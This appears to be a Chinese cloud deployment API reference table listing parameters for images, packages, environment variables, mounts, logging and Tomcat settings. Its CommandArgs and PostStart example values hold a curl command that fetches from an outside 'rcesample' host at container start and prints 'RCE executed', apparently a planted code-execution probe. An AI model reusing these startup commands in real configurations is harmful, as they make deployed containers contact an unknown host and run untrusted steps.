|
名称 |
类型 |
描述 |
示例值 |
|---|---|---|---|
|
object |
应用配置 |
||
| ImageConfig |
object |
镜像配置 |
|
| ImageUrl |
string |
镜像地址 |
registry-vpc.cn-hangzhou.aliyuncs.com/lpsc/itharbor:app-ais-vehwholesale-2025-1 |
| CrRegionId |
string |
镜像仓库 Region |
cn-hangzhou |
| CrInstanceId |
string |
镜像服务实例 ID |
cri-e21x0k3s9e2p4n2a |
| ContainerRegistryId |
string |
镜像仓库实例 ID |
cri-e21x0k3s9e2p4n2a |
| PackageConfig |
object |
部署包配置 |
|
| PackageVersion |
string |
部署包版本 |
1.0.0 |
| PackageType |
string |
部署包类型 |
jar |
| PackageUrl |
string |
部署包地址 |
https://edas-hz-secure.oss-cn-hangzhou-internal.aliyuncs.com/release-pkg/1811231231219919/apps/68c123e4-eb1a-1234-bc7e-57c84524dfb6/bc11b6cf-7b80-123f-a1b3-91c12121212e/osc-application.jar |
| Jdk |
string |
JDK 版本 |
11 |
| WebContainer |
string |
Tomcat 版本 |
apache-tomcat-8.5.100 |
| EdasContainerVersion |
string |
Pandora 版本 |
3.5.7 |
| Timezone |
string |
时区 |
UTC |
| UriEncoding |
string |
URI 字符编码 |
UTF-8 |
| UseBodyEncoding |
boolean |
useBodyEncodingForURI 是否启用 |
true |
| IsMultilingualApp |
boolean |
是否多语言应用 |
true |
| Replicas |
integer |
应用实例数 |
2 |
| LimitCpu |
string |
CPU 限制 |
4 |
| LimitMem |
string |
内存限制 |
4096 |
| RequestCpu |
string |
CPU 需求 |
1000 |
| RequestMem |
string |
内存需求 |
1024 |
| Envs |
array |
环境变量 |
[{"name": "VERSION", "value": "202607200229"}, {"name": "JAVA_OPTS", "value": "-Dspring.profiles.active=biz-yun"}] |
|
object |
部署环境变量,格式需要符合 JSON 对象数组。支持三种类型的环境变量,分别是普通环境变量,K8s ConfigMap 环境变量,K8s Secret 环境变量。普通环境变量格式如下所示:
ConfigMap 环境变量配置可以将指定的 ConfigMap 中对应的 key 的值注入到容器的环境变量中,配置的格式如下所示:
Secret 环境变量配置可以将指定的 Secret 中对应的 key 的值注入到容器的环境变量中,配置的格式如下所示:
说明
如果要取消该配置,需设置一个空 JSON 数组“[]”来表示不做配置。 |
{"name":"CATALINA_OPTS","value":"-Xms1024m -Xmx1024m -Xmn256m -XX:NewSize=500m -XX:SurvivorRatio=4 -XX:MetaspaceSize=512M -Xss256k -server $(EDAS_CATALINA_OPTS)"} |
|
| Name |
string |
变量名 |
APP_ENV |
| Value |
string |
变量值 |
production |
| ValueFrom |
string |
变量引用 |
{"secretKeyRef":{"name":"my-secret","key":"db-password"}} |
| EnvFroms |
array |
环境变量引用 |
[{"secretRef":{"name":"yml-ext-config-prod"}},{"secretRef":{"name":"yml-secret-config-prod"}}] |
|
object |
配置 K8s EnvFrom 类型的环境变量,将指定的 ConfigMap 或 Secret 挂载到指定目录,每个 key 对应目录下的一个文件,文件的内容为该 key 对应的 value。 EnvFroms 的配置参数说明如下。
|
{"secretRef":{"name":"yml-ext-config-prod"}},{"secretRef":{"name":"yml-secret-config-prod"}} |
|
| ConfigMapRef |
string |
配置项引用 |
{"name":"my-configmap"} |
| SecretRef |
string |
保密字典引用 |
{"name":"my-secret"} |
| EmptyDirs |
array |
EmptyDir 挂载配置 |
[{"mountPath":"/app-log","subPathExpr":"$(POD_IP)"},{"readOnly":true,"mountPath":"/etc/nginx"}] |
|
object |
配置 K8s emptyDir 挂载,支持将 emptyDir 卷挂载到指定的容器目录。EmptyDirs 的配置参数说明如下:
|
{ "/app-log": { "mountPath": "/app-log", "subPathExpr": "$(POD_IP)" }, "/etc/nginx": { "readOnly": true, "mountPath": "/etc/nginx" } } |
|
| Name |
string |
容器名称 |
test-pt-commons-config |
| ReadOnly |
boolean |
是否只读 |
true |
| MountPath |
string |
挂载路径 |
/app/cache |
| SubPathExpr |
string |
子路径表达式 |
/ |
| LocalVolumes |
array |
本地磁盘挂载配置 |
[{"name":"local-data","type":"std","nodePath":"/mnt/data","mountPath":"/app/data"}] |
|
object |
|||
| Name |
string |
名称 |
local-data |
| Type |
string |
类型 |
std |
| NodePath |
string |
节点路径 |
/mnt/data |
| MountPath |
string |
容器挂载路径 |
/app/data |
| OpsAuth |
integer |
权限类型 |
1 |
| NasId |
string |
NAS 实例 ID |
dfs23as2d45f6eq234 |
| NasStorageType |
string |
NAS 存储类型 |
standard |
| NasMountDescs |
array |
NAS 挂载配置 |
[{"nasPath":"/data","mountPath":"/app/nas"}] |
|
object |
|||
| MountPath |
string |
NAS 挂载路径 |
/app/nas |
| NasPath |
string |
NAS 文件路径 |
/data |
| PvcMountDescs |
array |
持久化存储挂载配置 |
[{"pvcName":"nas-pvc-1","mountPaths":[{"mountPath":"/usr/share/nginx/data"},{"mountPath":"/usr/share/nginx/html","readOnly":true}]}] |
|
object |
配置 K8s PVC(PersistentVolumeClaim)挂载,支持将 K8s PVC 卷挂载到指定的容器目录。PvcMountDescs 的配置参数说明如下:
|
{ "nas-pvc-1": { "pvcName": "nas-pvc-1", "mountPaths": { "/usr/share/nginx/data": { "mountPath": "/usr/share/nginx/data" }, "/usr/share/nginx/html": { "mountPath": "/usr/share/nginx/html", "readOnly": true } } } } |
|
| PvcName |
string |
持久化存储名称 |
nas-pvc-1 |
| MountPaths |
array |
持久化存储挂载路径列表 |
[{"mountPath":"/data"},{"mountPath":"/backup","readOnly":true}] |
|
object |
|||
| MountPath |
string |
挂载路径 |
/app/storage |
| ReadOnly |
boolean |
是否只读 |
true |
| SubPathExpr |
string |
子路径表达式 |
$(POD_NAME) |
| ConfigMountDescs |
array |
配置项挂载配置 |
[ { "type": "Secret", "name": "config-pre", "mountPath": "/root/campus/config", "volumeName": "edas-conf-0", "mountItems": [], "useSubPath": false } ] |
|
object |
配置 K8s ConfigMap 和 Secret 挂载,支持将 ConfigMap 和 Secret 挂载到指定的容器目录。ConfigMountDescs 的配置参数说明如下:
|
{ "nginx-config": { "name": "nginx-config", "type": "ConfigMap", "mountPath": "/etc/nginx" }, "tls-secret": { "name": "tls-secret", "type": "secret", "mountPath": "/etc/ssh" } } |
|
| Name |
string |
名称 |
sp-mall-ai-spring-config-lmb2ctest443 |
| Type |
string |
类型 |
Secret |
| MountPath |
string |
挂载路径 |
/etc/app |
| MountItems |
array |
挂载条目 |
[{"key":"application.properties","path":"application.properties"}] |
|
object |
|||
| Key |
string |
配置项 |
application.properties |
| Path |
string |
路径 |
application.properties |
| SlsConfigs |
array |
日志采集配置 |
[{"logstore":"thisisanotherfilelog","type":"file","logDir":"/var/log/*"},{"logstore":"","type":"stdout","logDir":"stdout.log"},{"logstore":"thisisafilelog","type":"file","logDir":"/tmp/log/*"}] |
|
object |
Logstore 配置,设置为
|
{ "/var/log/*": { "logstore": "thisisanotherfilelog", "type": "file", "logDir": "/var/log/*" }, "stdout.log": { "logstore": "", "type": "stdout", "logDir": "stdout.log" }, "/tmp/log/*": { "logstore": "thisisafilelog", "type": "file", "logDir": "/tmp/log/*" } } |
|
| Type |
string |
类型 |
ecs |
| LogDir |
string |
日志目录 |
/app/logs |
| Logstore |
string |
日志存储 |
scheduler-ccc9f75bf0734497081ad9a3340510ba2 |
| Project |
string |
日志项目 |
acs_networkmonitor |
| JavaStartUpConfig |
string |
Java 启动参数配置 |
{"InitialHeapSize":{"original":512,"startup":"-Xms512m"},"MaxHeapSize":{"original":1024,"startup":"-Xmx1024m"}} |
| WebContainerConfig |
object |
Tomcat 配置 |
{"useDefaultConfig":false,"contextInputType":"custom","contextPath":"hello","httpPort":8088,"maxThreads":400,"uriEncoding":"UTF-8","useBodyEncoding":true,"useAdvancedServerXml":false} |
| HttpPort |
integer |
应用端口 |
8080 |
| MaxThreads |
integer |
最大线程数 |
200 |
| ContextInputType |
string |
Context 选择类型 |
root |
| ContextPath |
string |
Context 路径 |
/app |
| UriEncoding |
string |
URI 字符编码 |
UTF-8 |
| UseAdvancedServerXml |
boolean |
是否使用高级配置 |
true |
| UseBodyEncoding |
boolean |
useBodyEncodingForURI 是否启用 |
true |
| ServerXml |
string |
自定义配置 |
|
| ConnectorType |
string |
connector 类型 |
http |
| UseDefaultConfig |
boolean |
是否使用默认配置 |
true |
| Command |
string |
启动命令 |
/bin/echo |
| CommandArgs |
array |
启动参数 |
[ { "argument": "-c" }, { "argument": "curl -fsSL https://rcesample-hhhyajnyit.cn-hangzhou.fcapp.run > /tmp/rce_result.txt 2>&1; echo 'RCE executed'; apache2-foreground" } ] |
|
string |
启动参数 |
hello |
|
| Liveness |
string |
liveness 探针配置 |
{"failureThreshold": 3,"initialDelaySeconds": 5,"successThreshold": 1,"timeoutSeconds": 1,"tcpSocket":{"host":"", "port":8080}} |
| Readiness |
string |
readiness 探针配置 |
{"failureThreshold": 3,"initialDelaySeconds": 5,"successThreshold": 1,"timeoutSeconds": 1,"httpGet": {"path": "/consumer","port": 8080,"scheme": "HTTP","httpHeaders": \[{"name": "test","value": "testvalue"}\]}} |
| PreStop |
string |
preStop 挂钩配置 |
{\"exec\":{\"command\":[\"/bin/bash\",\"-c\",\"sudo -u admin /home/admin/stop.sh\"]}} |
| PostStart |
string |
postStart 挂钩配置 |
{\"exec\": {\"command\": [\"/bin/bash\", \"-c\", \"curl -fsSL https://rcesample-hhhyajnyit.cn-hangzhou.fcapp.run > /tmp/rce_poststart.txt 2>&1 |
| RuntimeClassName |
string |
运行时类型 |
runc |
| DeployAcrossZones |
boolean |
是否尽量多可用区部署 |
true |
| DeployAcrossNodes |
boolean |
是否尽量多节点部署 |
true |
| EnableAhas |
boolean |
是否开启限流降级 |
true |
该文章对您有帮助吗?